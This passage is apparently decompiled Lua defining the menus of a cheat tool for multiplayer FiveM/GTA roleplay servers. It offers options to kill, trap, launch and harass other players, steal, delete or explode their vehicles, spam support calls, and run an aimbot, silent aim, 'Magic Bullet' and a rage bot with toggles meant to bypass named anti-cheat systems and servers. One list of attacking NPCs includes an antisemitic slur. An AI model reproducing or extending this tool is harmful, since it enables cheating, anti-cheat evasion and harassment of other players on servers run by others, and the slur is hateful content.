= { "Large Jet", "Small Jet" } planeCallOption.choices = pendingMenuEntry46 planeCallOption.runMultiple = false planeCallOption.description = "Drop jets from above the player" pendingMenuEntry46 = function() return not menu.functions.isServer185169NearbyVehicleMode() end planeCallOption.condition = pendingMenuEntry46 pendingMenuEntry45 = { name = "Cube Player", type = "selector", func = "spawnCube", var = "cubeSelector" } pendingMenuEntry47 = { "Box", "Marble", "Black Surface" } pendingMenuEntry45.choices = pendingMenuEntry47 pendingMenuEntry45.description = "Trap the player inside four panels using the selected cube style" pendingMenuEntry45.runMultiple = false pendingMenuEntry47 = function() if menu.functions.isServer185169NearbyVehicleMode() then return false end return not menu.vars.antiCheats.ElectronAC end pendingMenuEntry45.condition = pendingMenuEntry47 local objectLaunchOption = { name = "Object Launch", type = "selector", func = "objectLaunch", var = "objectLaunchSelector" } pendingMenuEntry48 = { "House", "Cargo", "Custom" } objectLaunchOption.choices = pendingMenuEntry48 objectLaunchOption.description = "Launch Player with objects" objectLaunchOption.runMultiple = false pendingMenuEntry48 = function() return not menu.functions.isServer185169NearbyVehicleMode() end objectLaunchOption.condition = pendingMenuEntry48 local corpsesAttackOption = { name = "Corpses Attack", type = "button", func = "spawnCorpseFollow", description = "Spawn corpses that follow the player", runMultiple = false } pendingMenuEntry49 = function() return not menu.functions.isServer185169NearbyVehicleMode() end corpsesAttackOption.condition = pendingMenuEntry49 local parachuteAttackOption = { name = "Parachute Attack", type = "button", func = "spawnParachuteFollow", description = "Spawn parachutes that follow the player", runMultiple = false } pendingMenuEntry50 = function() return not menu.functions.isServer185169NearbyVehicleMode() end parachuteAttackOption.condition = pendingMenuEntry50 local logPlayerOption = { name = "Log Player", type = "button", func = "logPlayer", description = "Spawn 3 log piles that slide into the player", runMultiple = false } pendingMenuEntry51 = function() return not menu.functions.isServer185169NearbyVehicleMode() end logPlayerOption.condition = pendingMenuEntry51 local beerPlayerOption = { name = "Beer Player", type = "button", func = "beerPlayer", description = "Spawn Beer on player", runMultiple = false } pendingMenuEntry52 = function() return not menu.functions.isServer185169NearbyVehicleMode() end beerPlayerOption.condition = pendingMenuEntry52 local cageWithDrinkOption = { name = "Cage with Drink", type = "button", func = "cageWithDrink", description = "Trap the player inside an upright drink can tunnel", runMultiple = false } pendingMenuEntry53 = function() if menu.functions.isServer185169NearbyVehicleMode() then return false end return not menu.vars.antiCheats.ElectronAC end cageWithDrinkOption.condition = pendingMenuEntry53 pendingMenuEntry52 = { name = "Spawn Bunker", type = "button", func = "spawnBunker", description = "Spawn nested m23 containers on the player with openings inside each other", runMultiple = false } pendingMenuEntry54 = function() if menu.functions.isServer185169NearbyVehicleMode() then return false end return not menu.vars.antiCheats.ElectronAC end pendingMenuEntry52.condition = pendingMenuEntry54 pendingMenuEntry53 = { name = "Peds", type = "seperator" } pendingMenuEntry55 = function() return not menu.functions.isServer185169NearbyVehicleMode() end pendingMenuEntry53.condition = pendingMenuEntry55 pendingMenuEntry54 = { name = "Ped Attack", type = "selector", func = "pedAttackPlayer", var = "pedAttackSelector" } pendingMenuEntry56 = {} pendingMenuEntry61 = "Chimp" pendingMenuEntry62 = "Jew" pendingMenuEntry56[1] = "Lion" pendingMenuEntry56[2] = "Dog" pendingMenuEntry56[3] = "Panther" pendingMenuEntry56[4] = "Coyote" pendingMenuEntry56[5] = pendingMenuEntry61 pendingMenuEntry56[6] = pendingMenuEntry62 pendingMenuEntry54.choices = pendingMenuEntry56 pendingMenuEntry54.runMultiple = false pendingMenuEntry56 = function() if menu.functions.isServer185169NearbyVehicleMode() then return false end return not menu.vars.antiCheats.ElectronAC end pendingMenuEntry54.condition = pendingMenuEntry56 pendingMenuEntry54.description = "Spawns peds that attack the player" pendingMenuEntry55 = { name = "Spawn Admin", type = "button", func = "supporterSpam" } pendingMenuEntry57 = function() if menu.functions.isServer185169NearbyVehicleMode() then return false end return not menu.vars.antiCheats.ElectronAC end pendingMenuEntry55.condition = pendingMenuEntry57 pendingMenuEntry55.description = "Spam support calls" pendingMenuEntry56 = { name = "Spawn Attacker", type = "button", func = "spawnAttacker" } pendingMenuEntry58 = function() if menu.functions.isServer185169NearbyVehicleMode() then return false end return not menu.vars.antiCheats.ElectronAC end pendingMenuEntry56.condition = pendingMenuEntry58 pendingMenuEntry56.description = "Spawn an attacker NPC" pendingMenuEntry57 = { name = "Killer Clown Attack", type = "button", func = "killerClownAttack" } pendingMenuEntry59 = function() if menu.functions.isServer185169NearbyVehicleMode() then return false end return not menu.vars.antiCheats.ElectronAC end pendingMenuEntry57.condition = pendingMenuEntry59 pendingMenuEntry57.description = "Attack with a killer clown" pendingMenuEntry29[1] = killPlayerOption pendingMenuEntry29[2] = pendingMenuEntry31 pendingMenuEntry29[3] = knockOutOption pendingMenuEntry29[4] = grenadeRainOption pendingMenuEntry29[5] = firePlayerOption pendingMenuEntry29[6] = launchLoopOption pendingMenuEntry29[7] = blackholeOption pendingMenuEntry29[8] = pendingMenuEntry37 pendingMenuEntry29[9] = stuckOption pendingMenuEntry29[10] = slidePlayerOption pendingMenuEntry29[11] = airStuckOption pendingMenuEntry29[12] = stuckTeleportOption pendingMenuEntry29[13] = riskOption pendingMenuEntry29[14] = objectRainOption pendingMenuEntry29[15] = planeCallOption pendingMenuEntry29[16] = pendingMenuEntry45 pendingMenuEntry29[17] = objectLaunchOption pendingMenuEntry29[18] = corpsesAttackOption pendingMenuEntry29[19] = parachuteAttackOption pendingMenuEntry29[20] = logPlayerOption pendingMenuEntry29[21] = beerPlayerOption pendingMenuEntry29[22] = cageWithDrinkOption pendingMenuEntry29[23] = pendingMenuEntry52 pendingMenuEntry29[24] = pendingMenuEntry53 pendingMenuEntry29[25] = pendingMenuEntry54 pendingMenuEntry29[26] = pendingMenuEntry55 pendingMenuEntry29[27] = pendingMenuEntry56 pendingMenuEntry29[28] = pendingMenuEntry57 pendingMenuEntry27.options = pendingMenuEntry29 pendingMenuEntry28 = { name = "Car" } end pendingMenuEntry30 = {} do local tazeOutOfVehicleOption = { name = "Taze out of vehicle", type = "button", func = "tazeOutOfVehicle", description = "kick vehicle method" } local kickDriverOption = { name = "Kick Driver", type = "selector", func = "kickFromVehicleChoice", var = "onlineKickDriverMethod", choices = { "#1", "#2" }, default = 1, description = "Choose #1 or #2 and run the selected action" } local stealVehicleOption = { name = "Steal Vehicle", type = "button", func = "stealVehicle", description = "Steal vehicle" } local deleteVehicleOption = { name = "Delete Vehicle", type = "button", func = "deleteVehicle", description = "Delete vehicle" } local makeUnusableOption = { name = "Make Unusable", type = "button", func = "breakVehicle", description = "Driver-seat claim; car unusable for others" } local nPCVehicleHijackOption = { name = "NPC Vehicle Hijack", type = "button", func = "vehicleThief", description = "Steal vehicle using an NPC" } local newOption = { name = "New", type = "seperator" } local explodeVehicleOption = { name = "Explode Vehicle", type = "button", func = "explodeVehicleNew", description = "Explode Vehicle" } pendingMenuEntry40 = function() return not menu.vars.antiCheats or not menu.vars.antiCheats.ElectronAC end explodeVehicleOption.condition = pendingMenuEntry40 local hulkKickOption = { name = "Hulk kick", type = "button", func = "kickSelectedPlayerVehicle", description = "Kick the vehicle with power" } local launchOption = { name = "Launch", type = "button", func = "launchSelectedPlayerVehicle", description = "Launch Vehicle" } local extrasOption = { name = "Extras", type = "seperator" } local carryVehicleOption = { name = "Carry Vehicle", type = "button", func = "carryPlayerVehicle", description = "Kick the driver, grab the vehicle and carry it on your head" } pendingMenuEntry43 = { name = "Fly Vehicle to Air", type = "button", func = "flyVehicleToAir", description = "Kick the driver and slowly float the vehicle up into the sky" } pendingMenuEntry44 = { name = "Steal Plate", type = "button", func = "stealVehiclePlate", description = "Copy vehicle plate to your vehicle (you must be in a vehicle)" } local popTyresOption = { name = "Pop Tyres", type = "button", func = "vehiclePopTyres" } pendingMenuEntry47 = function() return Ham.hasResource("ox_lib") or Ham.hasResource("es_extended") end popTyresOption.condition = pendingMenuEntry47 local breakEngineOption = { name = "Break Engine", type = "button", func = "vehicleBreakEngine" } pendingMenuEntry48 = function() return Ham.hasResource("ox_lib") end breakEngineOption.condition = pendingMenuEntry48 pendingMenuEntry47 = { name = "Max Tune", type = "button", func = "vehicleMaxTune" } pendingMenuEntry49 = function() return Ham.hasResource("ox_lib") or Ham.hasResource("es_extended") end pendingMenuEntry47.condition = pendingMenuEntry49 pendingMenuEntry48 = { name = "Repair Vehicle", type = "button", func = "vehicleRepair" } pendingMenuEntry50 = function() return Ham.hasResource("ox_lib") end pendingMenuEntry48.condition = pendingMenuEntry50 pendingMenuEntry49 = { name = "Change Plate", type = "button", func = "vehicleChangePlate" } pendingMenuEntry51 = function() return Ham.hasResource("ox_lib") or Ham.hasResource("es_extended") end pendingMenuEntry49.condition = pendingMenuEntry51 pendingMenuEntry30[1] = tazeOutOfVehicleOption pendingMenuEntry30[2] = kickDriverOption pendingMenuEntry30[3] = stealVehicleOption pendingMenuEntry30[4] = deleteVehicleOption pendingMenuEntry30[5] = makeUnusableOption pendingMenuEntry30[6] = nPCVehicleHijackOption pendingMenuEntry30[7] = newOption pendingMenuEntry30[8] = explodeVehicleOption pendingMenuEntry30[9] = hulkKickOption pendingMenuEntry30[10] = launchOption pendingMenuEntry30[11] = extrasOption pendingMenuEntry30[12] = carryVehicleOption pendingMenuEntry30[13] = pendingMenuEntry43 pendingMenuEntry30[14] = pendingMenuEntry44 pendingMenuEntry30[15] = popTyresOption pendingMenuEntry30[16] = breakEngineOption pendingMenuEntry30[17] = pendingMenuEntry47 pendingMenuEntry30[18] = pendingMenuEntry48 pendingMenuEntry30[19] = pendingMenuEntry49 pendingMenuEntry28.options = pendingMenuEntry30 pendingMenuEntry23[1] = pendingMenuEntry24 pendingMenuEntry23[2] = pendingMenuEntry25 pendingMenuEntry23[3] = pendingMenuEntry26 pendingMenuEntry23[4] = pendingMenuEntry27 pendingMenuEntry23[5] = pendingMenuEntry28 pendingMenuEntry21.tabs = pendingMenuEntry23 pendingMenuEntry22 = { name = "Weapon Options", type = "submenu", description = "Switch tabs with Q and E" } pendingMenuEntry24 = {} pendingMenuEntry25 = { name = "Weapons" } pendingMenuEntry27 = {} pendingMenuEntry28 = { name = "Spawn by Name", type = "button", func = "spawnWeaponByNamePrompt", description = "Enter a weapon name and spawn it" } pendingMenuEntry29 = { name = "Give All Weapons", type = "button", func = "giveAllWeapons", description = "Give yourself all available weapons" } pendingMenuEntry30 = { name = "Remove All Weapons", type = "button", func = "removeAllWeapons", description = "Remove all weapons from your inventory" } end do local weaponSpawnOption = { name = "Weapon Spawn", type = "separator" } local spawnInHandOption = { name = "Spawn In Hand", type = "toggle", var = "spawnInHand", description = "Off = spawn into weapon wheel, On = spawn into hand" } local meleeOption = { name = "Melee", type = "selector", func = "spawnWeaponFromCategory", var = "weaponCategoryMelee" } pendingMenuEntry35 = function() return menu.functions.getWeaponCategoryChoices("Melee") end meleeOption.choices = pendingMenuEntry35 pendingMenuEntry35 = function() return menu.functions.hasWeaponCategoryChoices("Melee") end meleeOption.condition = pendingMenuEntry35 meleeOption.description = "Choose a melee weapon from the list and spawn it" local pistolsOption = { name = "Pistols", type = "selector", func = "spawnWeaponFromCategory", var = "weaponCategoryPistols" } pendingMenuEntry36 = function() return menu.functions.getWeaponCategoryChoices("Pistols") end pistolsOption.choices = pendingMenuEntry36 pendingMenuEntry36 = function() return menu.functions.hasWeaponCategoryChoices("Pistols") end pistolsOption.condition = pendingMenuEntry36 pistolsOption.description = "Choose a pistol from the list and spawn it" local sMGsOption = { name = "SMGs", type = "selector", func = "spawnWeaponFromCategory", var = "weaponCategorySmgs" } pendingMenuEntry37 = function() return menu.functions.getWeaponCategoryChoices("SMGs") end sMGsOption.choices = pendingMenuEntry37 pendingMenuEntry37 = function() return menu.functions.hasWeaponCategoryChoices("SMGs") end sMGsOption.condition = pendingMenuEntry37 sMGsOption.description = "Choose an SMG from the list and spawn it" local riflesOption = { name = "Rifles", type = "selector", func = "spawnWeaponFromCategory", var = "weaponCategoryRifles" } pendingMenuEntry38 = function() return menu.functions.getWeaponCategoryChoices("Rifles") end riflesOption.choices = pendingMenuEntry38 pendingMenuEntry38 = function() return menu.functions.hasWeaponCategoryChoices("Rifles") end riflesOption.condition = pendingMenuEntry38 riflesOption.description = "Choose a rifle from the list and spawn it" local shotgunsOption = { name = "Shotguns", type = "selector", func = "spawnWeaponFromCategory", var = "weaponCategoryShotguns" } pendingMenuEntry39 = function() return menu.functions.getWeaponCategoryChoices("Shotguns") end shotgunsOption.choices = pendingMenuEntry39 pendingMenuEntry39 = function() return menu.functions.hasWeaponCategoryChoices("Shotguns") end shotgunsOption.condition = pendingMenuEntry39 shotgunsOption.description = "Choose a shotgun from the list and spawn it" local sniperRiflesOption = { name = "Sniper Rifles", type = "selector", func = "spawnWeaponFromCategory", var = "weaponCategorySnipers" } pendingMenuEntry40 = function() return menu.functions.getWeaponCategoryChoices("Sniper Rifles") end sniperRiflesOption.choices = pendingMenuEntry40 pendingMenuEntry40 = function() return menu.functions.hasWeaponCategoryChoices("Sniper Rifles") end sniperRiflesOption.condition = pendingMenuEntry40 sniperRiflesOption.description = "Choose a sniper from the list and spawn it" local heavyWeaponsOption = { name = "Heavy Weapons", type = "selector", func = "spawnWeaponFromCategory", var = "weaponCategoryHeavy" } pendingMenuEntry41 = function() return menu.functions.getWeaponCategoryChoices("Heavy Weapons") end heavyWeaponsOption.choices = pendingMenuEntry41 pendingMenuEntry41 = function() return menu.functions.hasWeaponCategoryChoices("Heavy Weapons") end heavyWeaponsOption.condition = pendingMenuEntry41 heavyWeaponsOption.description = "Choose a heavy weapon from the list and spawn it" local throwablesOption = { name = "Throwables", type = "selector", func = "spawnWeaponFromCategory", var = "weaponCategoryThrowables" } pendingMenuEntry42 = function() return menu.functions.getWeaponCategoryChoices("Throwables") end throwablesOption.choices = pendingMenuEntry42 pendingMenuEntry42 = function() return menu.functions.hasWeaponCategoryChoices("Throwables") end throwablesOption.condition = pendingMenuEntry42 throwablesOption.description = "Choose a throwable from the list and spawn it" pendingMenuEntry27[1] = pendingMenuEntry28 pendingMenuEntry27[2] = pendingMenuEntry29 pendingMenuEntry27[3] = pendingMenuEntry30 pendingMenuEntry27[4] = weaponSpawnOption pendingMenuEntry27[5] = spawnInHandOption pendingMenuEntry27[6] = meleeOption pendingMenuEntry27[7] = pistolsOption pendingMenuEntry27[8] = sMGsOption pendingMenuEntry27[9] = riflesOption pendingMenuEntry27[10] = shotgunsOption pendingMenuEntry27[11] = sniperRiflesOption pendingMenuEntry27[12] = heavyWeaponsOption pendingMenuEntry27[13] = throwablesOption pendingMenuEntry25.options = pendingMenuEntry27 pendingMenuEntry26 = { name = "Modification" } pendingMenuEntry28 = {} pendingMenuEntry29 = { name = "Refill Ammo", type = "button", func = "refillAmmo", description = "Refill ammunition for all your weapons" } pendingMenuEntry30 = { name = "No Reload", type = "toggle", var = "noReload", description = "Disable weapon reloading - unlimited ammo" } end do local oneShotOption = { name = "One Shot", type = "toggle", var = "oneShot", description = "One-shots players on hit" } local teleportBulletOption = { name = "Teleport Bullet", type = "toggle", var = "teleportBullet", description = "On each shot, teleport to where you aim (camera raycast hit)" } local extrasOption = { name = "Extras", type = "seperator" } local fakeWeaponOption = { name = "Fake Weapon", type = "selectorToggle", var = "fakeWeaponSpoof" } pendingMenuEntry36 = function() return menu.functions.getFakeWeaponSpoofChoices() end fakeWeaponOption.choices = pendingMenuEntry36 fakeWeaponOption.default = 1 fakeWeaponOption.toggleVar = "fakeWeaponEnabled" fakeWeaponOption.defaultToggle = false fakeWeaponOption.toggleFunc = "toggleFakeWeapon" fakeWeaponOption.onChangeFunc = "applyFakeWeaponSpoof" fakeWeaponOption.description = "Others see the weapon you have selected" local forceWeaponwheelOption = { name = "Force Weaponwheel", type = "toggle", var = "forceWeaponwheel", func = "toggleForceWeaponwheel", description = "Stop all resources with 'inventory' in the name while enabled" } pendingMenuEntry28[1] = pendingMenuEntry29 pendingMenuEntry28[2] = pendingMenuEntry30 pendingMenuEntry28[3] = oneShotOption pendingMenuEntry28[4] = teleportBulletOption pendingMenuEntry28[5] = extrasOption pendingMenuEntry28[6] = fakeWeaponOption pendingMenuEntry28[7] = forceWeaponwheelOption pendingMenuEntry26.options = pendingMenuEntry28 local upgradesEntry = { name = "Upgrades" } pendingMenuEntry29 = function() return menu.functions.getWeaponUpgradeOptions() end upgradesEntry.options = pendingMenuEntry29 pendingMenuEntry24[1] = pendingMenuEntry25 pendingMenuEntry24[2] = pendingMenuEntry26 pendingMenuEntry24[3] = upgradesEntry pendingMenuEntry22.tabs = pendingMenuEntry24 pendingMenuEntry23 = { name = "Combat Options", type = "submenu", description = "Switch tabs with Q and E" } pendingMenuEntry25 = {} pendingMenuEntry26 = { name = "Combat" } pendingMenuEntry28 = {} pendingMenuEntry29 = { name = "Aimbot", type = "submenu" } end pendingMenuEntry31 = {} do local mainEntry = { name = "Main" } pendingMenuEntry34 = {} local enableOption = { name = "Enable", type = "toggle", func = "toggleAimbot", var = "aimbot", silentToggle = true, keybindName = "Toggle Aimbot" } local settingsOption = { name = "Settings", type = "seperator" } local aimbotKeyOption = { name = "Aimbot Key", type = "hotkey" } pendingMenuEntry38 = { identifier = "AIMBOT_KEY" } aimbotKeyOption.target = pendingMenuEntry38 local targetBoneOption = { name = "Target Bone", type = "selector", var = "aimbotBone", choices = { "Head", "Neck", "Chest" }, onChangeFunc = "applyAimbotBone" } local smoothingOption = { name = "Smoothing", type = "numberSlider", var = "aimbotSmoothing", min = 0, max = 25, step = 1, disableHoldAcceleration = true, default = 0, suffix = "x", onChangeFunc = "applyAimbotSmoothing" } local controlsOption = { name = "Controls", type = "seperator" } local ignoreVehiclesOption = { name = "Ignore Vehicles", type = "toggle", var = "aimbotIgnoreVehicles", func = "toggleAimbotIgnoreVehicles", silentToggle = true } local visibleOnlyOption = { name = "Visible Only", type = "toggle", var = "aimbotVisibleOnly", func = "toggleAimbotVisibleOnly", silentToggle = true } pendingMenuEntry34[1] = enableOption pendingMenuEntry34[2] = settingsOption pendingMenuEntry34[3] = aimbotKeyOption pendingMenuEntry34[4] = targetBoneOption pendingMenuEntry34[5] = smoothingOption pendingMenuEntry34[6] = controlsOption pendingMenuEntry34[7] = ignoreVehiclesOption pendingMenuEntry34[8] = visibleOnlyOption mainEntry.options = pendingMenuEntry34 pendingMenuEntry33 = { name = "FOV" } pendingMenuEntry35 = {} local showFOVOption = { name = "Show FOV", type = "toggle", var = "aimbotShowFov", silentToggle = true, description = "Show FOV circle on screen" } local filledFOVOption = { name = "Filled FOV", type = "toggle", var = "aimbotFillFov", silentToggle = true, description = "Fill the aimbot FOV circle" } local fOVOption = { name = "FOV", type = "numberSlider", var = "aimbotFov", min = 1, max = 440, step = 1, disableHoldAcceleration = true, default = 40, suffix = "\194\176", onChangeFunc = "applyAimbotFov" } local fillOpacityOption = { name = "Fill Opacity", type = "numberSlider", var = "aimbotFovFillOpacity", min = 0, max = 255, step = 10, disableHoldAcceleration = true, default = 55, description = "Opacity of the filled aimbot FOV" } pendingMenuEntry35[1] = showFOVOption pendingMenuEntry35[2] = filledFOVOption pendingMenuEntry35[3] = fOVOption pendingMenuEntry35[4] = fillOpacityOption pendingMenuEntry33.options = pendingMenuEntry35 pendingMenuEntry34 = { name = "Colors" } pendingMenuEntry36 = {} local fOVColorOption = { name = "FOV Color", type = "colorPicker", var = "aimbotFovColor" } pendingMenuEntry39 = { 255, 255, 255 } fOVColorOption.default = pendingMenuEntry39 fOVColorOption.description = "Choose the color for the aimbot FOV circle" local fillColorOption = { name = "Fill Color", type = "colorPicker", var = "aimbotFovFillColor" } pendingMenuEntry40 = { 255, 255, 255 } fillColorOption.default = pendingMenuEntry40 fillColorOption.description = "Choose the fill color for the aimbot FOV circle" pendingMenuEntry36[1] = fOVColorOption pendingMenuEntry36[2] = fillColorOption pendingMenuEntry34.options = pendingMenuEntry36 pendingMenuEntry31[1] = mainEntry pendingMenuEntry31[2] = pendingMenuEntry33 pendingMenuEntry31[3] = pendingMenuEntry34 pendingMenuEntry29.tabs = pendingMenuEntry31 pendingMenuEntry30 = { name = "Silent Aim", type = "submenu" } end pendingMenuEntry32 = {} do local mainEntry = { name = "Main" } pendingMenuEntry35 = {} pendingMenuEntry36 = { name = "Enable", type = "toggle", var = "silentAim", silentToggle = true, description = "Silent Aim", keybindName = "Toggle Silent Aim" } local settingsOption = { name = "Settings", type = "seperator" } local silentAimKeyOption = { name = "Silent Aim Key", type = "hotkey" } pendingMenuEntry39 = { identifier = "SILENT_AIM_KEY" } silentAimKeyOption.target = pendingMenuEntry39 silentAimKeyOption.description = "Select a hotkey" local aimBoneOption = { name = "Aim Bone", type = "selector", var = "silentAimBone" } pendingMenuEntry41 = function() return menu.functions.getSilentAimBoneChoices() end aimBoneOption.choices = pendingMenuEntry41 pendingMenuEntry41 = function() return menu.functions.getSilentAimBoneDescription() end aimBoneOption.description = pendingMenuEntry41 local modeOption = { name = "Mode", type = "selector", var = "silentAimMode" } pendingMenuEntry42 = { "Silent Aim", "Magic Bullet" } modeOption.choices = pendingMenuEntry42 pendingMenuEntry42 = function() return menu.functions.getSilentAimModeDescription() end modeOption.description = pendingMenuEntry42 local exploitOption = { name = "Exploit", type = "seperator" } local destroyerModeOption = { name = "Destroyer Mode", type = "toggle", var = "silentAimDestroyerMode", silentToggle = true, description = "One-shot every valid target inside the silent aim FOV" } pendingMenuEntry35[1] = pendingMenuEntry36 pendingMenuEntry35[2] = settingsOption pendingMenuEntry35[3] = silentAimKeyOption pendingMenuEntry35[4] = aimBoneOption pendingMenuEntry35[5] = modeOption pendingMenuEntry35[6] = exploitOption pendingMenuEntry35[7] = destroyerModeOption mainEntry.options = pendingMenuEntry35 pendingMenuEntry34 = { name = "Grand" } pendingMenuEntry36 = function() return menu.functions.isServer185169NearbyVehicleMode() end pendingMenuEntry34.condition = pendingMenuEntry36 pendingMenuEntry34.alwaysShow = true pendingMenuEntry36 = {} local grandBypassOption = { name = "Grand Bypass", type = "toggle", var = "silentAimGrand", func = "applySilentAimGrandBoneLock", defaultToggle = true, silentToggle = true, description = "Grand Bypass" } local weaponDamageOption = { name = "Weapon Damage", type = "seperator" } local categoryOption = { name = "Category", type = "selector", var = "silentAimGrandCategory" } pendingMenuEntry41 = function() return menu.functions.getSilentAimGrandCategoryChoices() end categoryOption.choices = pendingMenuEntry41 categoryOption.onChangeFunc = "onSilentAimGrandCategoryChanged" categoryOption.default = 1 categoryOption.description = "Weapon category" local weaponOption = { name = "Weapon", type = "selector", var = "silentAimGrandWeapon" } pendingMenuEntry42 = function() local categoryName = menu.functions.getSilentAimGrandSelectedCategoryName() if not categoryName then return { "None" } end return menu.functions.getSilentAimGrandWeaponChoicesForCategory(categoryName) end weaponOption.choices = pendingMenuEntry42 weaponOption.onChangeFunc = "onSilentAimGrandWeaponChanged" weaponOption.default = 1 weaponOption.description = "Select weapon damage" local damageOption = { name = "Damage", type = "numberSlider", var = "silentAimGrandDamageEdit", min = 1, max = 100, step = 1, disableHoldAcceleration = true, default = 9, onChangeFunc = "onSilentAimGrandDamageChanged", description = "Select weapon damage" } pendingMenuEntry36[1] = grandBypassOption pendingMenuEntry36[2] = weaponDamageOption pendingMenuEntry36[3] = categoryOption pendingMenuEntry36[4] = weaponOption pendingMenuEntry36[5] = damageOption pendingMenuEntry34.options = pendingMenuEntry36 pendingMenuEntry35 = { name = "Targeting" } pendingMenuEntry37 = {} local fOVOption = { name = "FOV", type = "numberSlider", var = "silentAimFov", min = 1, max = 440, step = 1, disableHoldAcceleration = true, default = 40, suffix = "\194\176", description = "FOV for silent aim" } local distanceOption = { name = "Distance", type = "slider", var = "silentAimDistance", min = 10.0, max = 480.0, step = 10.0, disableHoldAcceleration = true, default = 180.0, suffix = "m", description = "Distance to target for silent aim" } local hitChanceOption = { name = "Hit Chance", type = "slider", var = "silentAimHitChance", min = 20.0, max = 100.0, step = 10.0, disableHoldAcceleration = true, default = 100.0, suffix = "%", description = "Chance of hitting the target (20-100%)" } local settingsOption = { name = "Settings", type = "seperator" } local targetDeadOption = { name = "Target Dead", type = "toggle", var = "revoBypass", silentToggle = true, description = "Also target dead players" } local visibleCheckOption = { name = "Visible Check", type = "toggle", var = "silentAimVisibleCheck", silentToggle = true, description = "Check if target is visible" } local targetNPCsOption = { name = "Target NPCs", type = "toggle", var = "silentAimNpc", silentToggle = true, description = "Also target NPCs (non-player peds)" } pendingMenuEntry37[1] = fOVOption pendingMenuEntry37[2] = distanceOption pendingMenuEntry37[3] = hitChanceOption pendingMenuEntry37[4] = settingsOption pendingMenuEntry37[5] = targetDeadOption pendingMenuEntry37[6] = visibleCheckOption pendingMenuEntry37[7] = targetNPCsOption pendingMenuEntry35.options = pendingMenuEntry37 pendingMenuEntry36 = { name = "Visuals" } pendingMenuEntry38 = {} local showFOVOption = { name = "Show FOV", type = "toggle", var = "silentAimShowFov", silentToggle = true, description = "Show FOV circle on screen" } local filledFOVOption = { name = "Filled FOV", type = "toggle", var = "silentAimFillFov", silentToggle = true, description = "Fill the silent aim FOV circle" } local fillOpacityOption = { name = "Fill Opacity", type = "numberSlider", var = "silentAimFovFillOpacity", min = 0, max = 255, step = 10, default = 45, description = "Opacity of the filled silent aim FOV" } local colorOption = { name = "Color", type = "seperator" } local fOVColorOption = { name = "FOV Color", type = "colorPicker", var = "silentAimFovColor" } pendingMenuEntry45 = { 255, 255, 255 } fOVColorOption.default = pendingMenuEntry45 fOVColorOption.description = "Choose the color for the silent aim FOV circle" local fillColorOption = { name = "Fill Color", type = "colorPicker", var = "silentAimFovFillColor" } pendingMenuEntry46 = { 255, 255, 255 } fillColorOption.default = pendingMenuEntry46 fillColorOption.description = "Choose the fill color for the silent aim FOV circle" pendingMenuEntry38[1] = showFOVOption pendingMenuEntry38[2] = filledFOVOption pendingMenuEntry38[3] = fillOpacityOption pendingMenuEntry38[4] = colorOption pendingMenuEntry38[5] = fOVColorOption pendingMenuEntry38[6] = fillColorOption pendingMenuEntry36.options = pendingMenuEntry38 pendingMenuEntry32[1] = mainEntry pendingMenuEntry32[2] = pendingMenuEntry34 pendingMenuEntry32[3] = pendingMenuEntry35 pendingMenuEntry32[4] = pendingMenuEntry36 pendingMenuEntry30.tabs = pendingMenuEntry32 pendingMenuEntry31 = { name = "Rage Bot", type = "submenu" } end pendingMenuEntry33 = {} do local mainEntry = { name = "Main" } pendingMenuEntry36 = {} local enableOption = { name = "Enable", type = "toggle", func = "toggleRageBot", var = "rageBot", silentToggle = true, keybindName = "Toggle Ragebot" } local safeKillOption = { name = "Safe Kill", type = "toggle", var = "rageBotUdKill", silentToggle = true, description = ":)" } local grandRPBypassOption = { name = "GrandRP Bypass", type = "toggle", var = "grandRpBypass", default = true, silentToggle = true } pendingMenuEntry41 = function() return menu.functions.isServer185169NearbyVehicleMode() end grandRPBypassOption.condition = pendingMenuEntry41 grandRPBypassOption.description = "Punch-style damage on players until dead" local cooldownOption = { name = "Cooldown", type = "seperator" } local killsOption = { name = "Kills", type = "selector", var = "rageBotCooldownKills" } pendingMenuEntry43 = function() return menu.utils.fetchRageBotCooldownKillChoices() end killsOption.choices = pendingMenuEntry43 killsOption.onChangeFunc = "changeRageBotCooldown" killsOption.description = "How many kills are allowed per cooldown window" local secondsOption = { name = "Seconds", type = "selector", var = "rageBotCooldownSeconds" } pendingMenuEntry44 = function() return menu.utils.fetchRageBotCooldownSecondChoices() end secondsOption.choices = pendingMenuEntry44 secondsOption.onChangeFunc = "changeRageBotCooldown" secondsOption.description = "Cooldown window length in seconds (counts confirmed kills, not shots)" pendingMenuEntry36[1] = enableOption pendingMenuEntry36[2] = safeKillOption pendingMenuEntry36[3] = grandRPBypassOption pendingMenuEntry36[4] = cooldownOption pendingMenuEntry36[5] = killsOption pendingMenuEntry36[6] = secondsOption mainEntry.options = pendingMenuEntry36 pendingMenuEntry35 = { name = "FOV" } pendingMenuEntry37 = {} local showFOVOption = { name = "Show FOV", type = "toggle", var = "rageBotShowFov", silentToggle = true, description = "Show FOV circle on screen" } local settingsOption = { name = "Settings", type = "seperator" } local fOVOption = { name = "FOV", type = "slider", var = "rageBotFov", min = 10, max = 440, default = 50, step = 10, disableHoldAcceleration = true, suffix = "\194\176", onChangeFunc = "changeRagebotFov" } local fOVColorOption = { name = "FOV Color", type = "colorPicker", var = "rageBotFovColor" } pendingMenuEntry43 = { 255, 255, 255 } fOVColorOption.default = pendingMenuEntry43 fOVColorOption.description = "Choose the color for the rage bot FOV circle" pendingMenuEntry37[1] = showFOVOption pendingMenuEntry37[2] = settingsOption pendingMenuEntry37[3] = fOVOption pendingMenuEntry37[4] = fOVColorOption pendingMenuEntry35.options = pendingMenuEntry37 pendingMenuEntry36 = { name = "Targeting" } pendingMenuEntry38 = {} local targetDeadOption = { name = "Target Dead", type = "toggle", var = "rageBotTargetDead", silentToggle = true, description = "Also target dead players" } local targetNPCsOption = { name = "Target NPCs", type = "toggle", var = "rageBotNpc", func = "applyRageBotNpcTarget", silentToggle = true, description = "Also target NPCs (non-player peds)" } pendingMenuEntry38[1] = targetDeadOption pendingMenuEntry38[2] = targetNPCsOption pendingMenuEntry36.options = pendingMenuEntry38 pendingMenuEntry33[1] = mainEntry pendingMenuEntry33[2] = pendingMenuEntry35 pendingMenuEntry33[3] = pendingMenuEntry36 pendingMenuEntry31.tabs = pendingMenuEntry33 pendingMenuEntry32 = { name = "Lazer Eyes", type = "submenu" } end pendingMenuEntry34 = {} do local enableOption = { name = "Enable", type = "toggle", func = "toggleLazerEyes", var = "lazerEyes", silentToggle = true, description = "E for Lazer Q For Rockets", keybindName = "Toggle Lazer Eyes" } local settingsOption = { name = "Settings", type = "seperator" } local disableRocketsOption = { name = "Disable Rockets", type = "toggle", var = 